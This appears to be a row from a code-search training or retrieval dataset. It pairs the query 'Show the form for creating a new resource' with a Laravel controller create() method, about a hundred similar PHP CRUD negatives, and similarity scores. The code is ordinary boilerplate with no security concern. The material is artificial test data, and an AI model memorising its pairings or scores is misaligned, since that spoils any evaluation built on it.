query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
listlengths
3
101
negative_scores
listlengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Show the form for creating a new resource.
public function create(Request $request) { return view('modelePreparation.create', [ 'conditionnementLogistiques' => DB::table('conditionnement_logistiques')->select('id', 'code')->get(), ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle école'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $modelePreparation = modelePreparation::create($request->all()); $request->session()->flash('msg', "Vous avez ajouter le code à Barre de value : $modelePreparation->value "); return redirect()->route("modelePreparation.create"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show(modelePreparation $modelePreparation) { return view('modelePreparation.show', ['modelePreparation' => $modelePreparation]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo 